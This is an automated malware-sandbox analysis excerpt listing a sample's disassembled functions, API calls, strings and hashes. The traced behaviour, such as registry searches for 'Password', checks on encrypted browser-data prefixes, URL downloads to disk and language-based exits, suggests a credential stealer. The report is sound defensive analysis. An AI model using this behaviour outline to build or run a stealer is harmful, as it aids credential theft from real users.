Part of subcall function 00407330: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040746D
Part of subcall function 00407330: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B2
Part of subcall function 00407330: HeapFree.KERNEL32(00000000,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B9

lstrcatA.KERNEL32(00000000,0042192C,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?,?,00416414), ref: 00407666
lstrcatA.KERNEL32(00000000,00000000,00000000), ref: 004076A8
lstrcatA.KERNEL32(00000000, : ), ref: 004076BA
lstrcatA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004076EF
lstrcatA.KERNEL32(00000000,00421934), ref: 00407700
lstrcatA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00407733
lstrcatA.KERNEL32(00000000,00421938), ref: 0040774D
task.LIBCPMTD ref: 0040775B

Strings

: , xrefs: 004076AE

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: b3130cf40c1dd3c7cf9147a5f31127e01731d4f473a6a07740fc976ddd9062c8
Instruction ID: 7dd5c8f6c25e89eb5421da9b581f9cff4d94f04832d352fdfe902425259828cd
Opcode Fuzzy Hash: b3130cf40c1dd3c7cf9147a5f31127e01731d4f473a6a07740fc976ddd9062c8
Instruction Fuzzy Hash: B73164B1E05114DBDB04EBA0DD55DFE737AAF48305B50411EF102772E0DA38AA85CB96

Function 00407330 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407374
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,00407CF0), ref: 0040739A
RegEnumValueA.ADVAPI32(00407CF0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00407411
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040746D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B2
HeapFree.KERNEL32(00000000,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B9

Part of subcall function 00409290: vsprintf_s.MSVCRT ref: 004092AB

task.LIBCPMTD ref: 004075B5

Strings

Password, xrefs: 00407461

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 3a3dd591c7cbb0d90e152054b3ac75d8c6492caf44e892e450b93b3cf6805213
Instruction ID: 394e2b55a83f95d9b644045a39dee7934e13af239b1baa97d0343fed5997f3db
Opcode Fuzzy Hash: 3a3dd591c7cbb0d90e152054b3ac75d8c6492caf44e892e450b93b3cf6805213
Instruction Fuzzy Hash: 43611EB5D041689BDB24DB50CC41BDAB7B8BF54304F0081EAE649A6181EF746FC9CF95

Function 61E44905 Relevance: 13.8, APIs: 6, Strings: 3, Instructions: 346COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E44953
memcmp.MSVCRT ref: 61E44A05
memcmp.MSVCRT ref: 61E44BC9
memcmp.MSVCRT ref: 61E44C16
memcmp.MSVCRT ref: 61E44C7A
memcmp.MSVCRT ref: 61E44CAE

Strings

@, xrefs: 61E44922
cache, xrefs: 61E44CA7, 61E44CC5
access, xrefs: 61E44BE0

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID: memcmp
String ID: @$access$cache
API String ID: 1475443563-1361544076
Opcode ID: 6a756704d9a5e632f7fc2e1c6f732c660ad2fd9c7916c21d548a59f960e475b6
Instruction ID: bf7f6bc55254c54d21197c9aa673ce015ae0bdc4e4658c964804263f7089fac0
Opcode Fuzzy Hash: 6a756704d9a5e632f7fc2e1c6f732c660ad2fd9c7916c21d548a59f960e475b6
Instruction Fuzzy Hash: FDD16FB4A083558FEB11CFA4D48039EBBF1AF89318F28C45ED895AB341E339D841DB55

Function 61E241D7 Relevance: 13.7, APIs: 1, Strings: 8, Instructions: 180stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 61E24268

Strings

ya, xrefs: 61E2427F
(blob), xrefs: 61E2439F
NULL, xrefs: 61E243A4
Xya, xrefs: 61E24418
bua, xrefs: 61E24274
program, xrefs: 61E24457
ya, xrefs: 61E2429A
bua, xrefs: 61E24252

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID: strcmp
String ID: ya$ya$(blob)$NULL$Xya$bua$bua$program
API String ID: 1004003707-2454903709
Opcode ID: 159ce7650a377ea6ea6ab72cd320b4004e236130d8e3e4a11b54add8b656ccd7
Instruction ID: 4befd86826370bfd8630e1afa8d422750160e2b9b2ea18a9ced5634f5bcee847
Opcode Fuzzy Hash: 159ce7650a377ea6ea6ab72cd320b4004e236130d8e3e4a11b54add8b656ccd7
Instruction Fuzzy Hash: 3B7115B49097469FC708CF58C191A59BBF0BF8A304F25C85EE8A89B751D335D882CF92

Function 004060F0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DFB,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,02CC7220), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(00412DB1,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(00412DB1), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 4287319946-0
Opcode ID: 79bb47fcace65dc0c408726790117bb2adccae202de1a5eabfd6db97336226ad
Instruction ID: 62bae03b9e4771e022f65dfe0b744ca25a6527e7e90d195df508867c32b8ef77
Opcode Fuzzy Hash: 79bb47fcace65dc0c408726790117bb2adccae202de1a5eabfd6db97336226ad
Instruction Fuzzy Hash: CD5184B1A01218ABDB20EF90DC45FEE7779AB44305F0041AEF605B71C0DB786A95CF59

Function 00417350 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 0041735E

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

OpenProcess.KERNEL32(001FFFFF,00000000,0041758D,004205C5), ref: 0041739C
memset.MSVCRT ref: 004173EA
??_V@YAXPAX@Z.MSVCRT(?), ref: 0041753E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041740C

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 4eb0c3d19f3da17071fde292eb786f020f2e13f1e01cd1aee6cfe2f08f7ed460
Instruction ID: 233c3b8a05bec9dd0facad4523d46c30dcb6cb295cabbf2d5ddda9a1061df09f
Opcode Fuzzy Hash: 4eb0c3d19f3da17071fde292eb786f020f2e13f1e01cd1aee6cfe2f08f7ed460
Instruction Fuzzy Hash: 24515FB0D04218ABDB14EF91DC45BEEB7B5AF04305F1041AEE21567281EB786AC8CF59

Function 00416A10 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,00416CC6,00420AF3), ref: 00416A14
ExitProcess.KERNEL32 ref: 00416A45
ExitProcess.KERNEL32 ref: 00416A4F
ExitProcess.KERNEL32 ref: 00416A59
ExitProcess.KERNEL32 ref: 00416A63
ExitProcess.KERNEL32 ref: 00416A6D

Strings

*, xrefs: 00416A2C

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 8ad7487ebdf551ce844e744865076748c7b192adeb82af89cb9554ed9750e1ed
Instruction ID: 485b87df60e927c5081145715141aeea1c9fd48c6e3f29f258bd7afdae13bdb0
Opcode Fuzzy Hash: 8ad7487ebdf551ce844e744865076748c7b192adeb82af89cb9554ed9750e1ed
Instruction Fuzzy Hash: AFF0E232D8E218EFD3409FE0EC0979CFB31EB05707F064296F60996190E6708A80CB52

Function 6C8F4166 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 6C8F4285
___TypeMatch.LIBVCRUNTIME ref: 6C8F4393
CallUnexpected.LIBVCRUNTIME ref: 6C8F4500

Strings

csm, xrefs: 6C8F42BC
csm, xrefs: 6C8F41A3
csm, xrefs: 6C8F4210

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 1206542248-393685449
Opcode ID: ba13429c34d5535cc95a7c35f32b1c2dae42428e5c94a794f8a842d3b3884937
Instruction ID: 9969638d5594c82fc02a85dc3d6758be12dd6845a0556fb17379c8224625898e
Opcode Fuzzy Hash: ba13429c34d5535cc95a7c35f32b1c2dae42428e5c94a794f8a842d3b3884937
Instruction Fuzzy Hash: 17B19E71801209DFCF25CF99CB8099EB7B5FFC4398B14496AE8207BA11D371DA56CB91

Function 6C8DABE0 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 250COMMONLIBRARYCODE

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C8DAD37
GetEnvironmentVariableW.KERNEL32(?,00000002,00000000), ref: 6C8DAD42
GetLastError.KERNEL32 ref: 6C8DAD4E
GetLastError.KERNEL32 ref: 6C8DAD60

Strings

internal error: entered unreachable codeassertion failed: self.is_char_boundary(new_len)/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs, xrefs: 6C8DAEC3

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: ErrorLast$EnvironmentVariable
String ID: internal error: entered unreachable codeassertion failed: self.is_char_boundary(new_len)/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs
API String ID: 2691138088-1921098361
Opcode ID: 544fffadbec5026ab70d26c078504d6cc0c75ab691f7961ce3590ffc56a91b04
Instruction ID: 480c60c54ba6fdb5149b6db3f433d3340e7830d3eebf99ab7405df110196d616
Opcode Fuzzy Hash: 544fffadbec5026ab70d26c078504d6cc0c75ab691f7961ce3590ffc56a91b04
Instruction Fuzzy Hash: 5FA182B1E00219AFEB20CF98DD85BDDBBB4BF48718F260928E904B7741D775A944CB91

Function 0040A560 Relevance: 10.7, APIs: 4, Strings: 3, Instructions: 155memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

memcmp.MSVCRT(?,v10,00000003), ref: 0040A5D2
memset.MSVCRT ref: 0040A60B
LocalAlloc.KERNEL32(00000040,?), ref: 0040A664

Strings

@, xrefs: 0040A614
v20, xrefs: 0040A571
v10, xrefs: 0040A5C6

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: memcmp$AllocLocallstrcpymemset
String ID: @$v10$v20
API String ID: 631489823-278772428
Opcode ID: 3de6848b35251bb0137415eef7a32c473c67b893c9d08e2ffe65091eb629360f
Instruction ID: deead5598e30f73acd49a71965db0b9c26184f2a73657d717c04d8255e3e8135
Opcode Fuzzy Hash: 3de6848b35251bb0137415eef7a32c473c67b893c9d08e2ffe65091eb629360f
Instruction Fuzzy Hash: 7C518E30610208EFCB14EFA5DD95FDD7775AF40304F008029F90A6F291DB78AA55CB5A

Function 6C8DA9E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C8DAAA7
GetCurrentDirectoryW.KERNEL32(00000000,00000002), ref: 6C8DAAAF
GetLastError.KERNEL32 ref: 6C8DAABB
GetLastError.KERNEL32 ref: 6C8DAACD
GetLastError.KERNEL32 ref: 6C8DAB5D

Strings

internal error: entered unreachable codeassertion failed: self.is_char_boundary(new_len)/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs, xrefs: 6C8DAB8A

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: ErrorLast$CurrentDirectory
String ID: internal error: entered unreachable codeassertion failed: self.is_char_boundary(new_len)/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs
API String ID: 3993060814-1921098361
Opcode ID: 602c68e8f9b1932f6eda31d0568b321f4c08382b584f8575a2a12aa7821d2f6a
Instruction ID: 3a2b49d3fcdb2d5a89883466574d38595014dcd3269ce8eaab0d90d16a363791
Opcode Fuzzy Hash: 602c68e8f9b1932f6eda31d0568b321f4c08382b584f8575a2a12aa7821d2f6a
Instruction Fuzzy Hash: 025128B1E003189BDB20CF98DA45BDEB7B5EF49714F250929E804B7740D774A904CBA0

Function 6C8F0B6A Relevance: 10.6, APIs: 7, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6C8F0BB1
___scrt_uninitialize_crt.LIBCMT ref: 6C8F0BCB

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 0cfcb96911723f3ffbb956c9ebc6ef2e3116bd8fedd171010552e86211bfcdac
Instruction ID: 99d34ad1268445855ad3fd1c4e810dbae1575b56dd7db4d0d293cd57dc230387
Opcode Fuzzy Hash: 0cfcb96911723f3ffbb956c9ebc6ef2e3116bd8fedd171010552e86211bfcdac
Instruction Fuzzy Hash: 8F41D772E0529CAFDB309F59CE00B9E7A74EB407D9F114925E834A7B40C7349907DBA0

Function 6C8F3A20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6C8F3A57
___except_validate_context_record.LIBVCRUNTIME ref: 6C8F3A5F
_ValidateLocalCookies.LIBCMT ref: 6C8F3AE8
__IsNonwritableInCurrentImage.LIBCMT ref: 6C8F3B13
_ValidateLocalCookies.LIBCMT ref: 6C8F3B68

Strings

csm, xrefs: 6C8F3AFD

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 5b56d05e86a84ee935a297d479cbe767cc55ae17a1f0ad64412063a8fcb91447
Instruction ID: dc4d2cb5462e10fa2a7e0c9d3316ea0514ac59922f0f4c5d187b3d6587290fda
Opcode Fuzzy Hash: 5b56d05e86a84ee935a297d479cbe767cc55ae17a1f0ad64412063a8fcb91447
Instruction Fuzzy Hash: 5441E730A01108AFCF20CF69C940A9EBBB5BF853A8F248965E8349B751D731DD16CB91

Function 004149D0 Relevance: 10.6, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,02CC5720,?,00000104,?,00000104,?,00000104,?,00000104), ref: 00414A2B

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000), ref: 00414A51
lstrcatA.KERNEL32(?,?), ref: 00414A70
lstrcatA.KERNEL32(?,?), ref: 00414A84
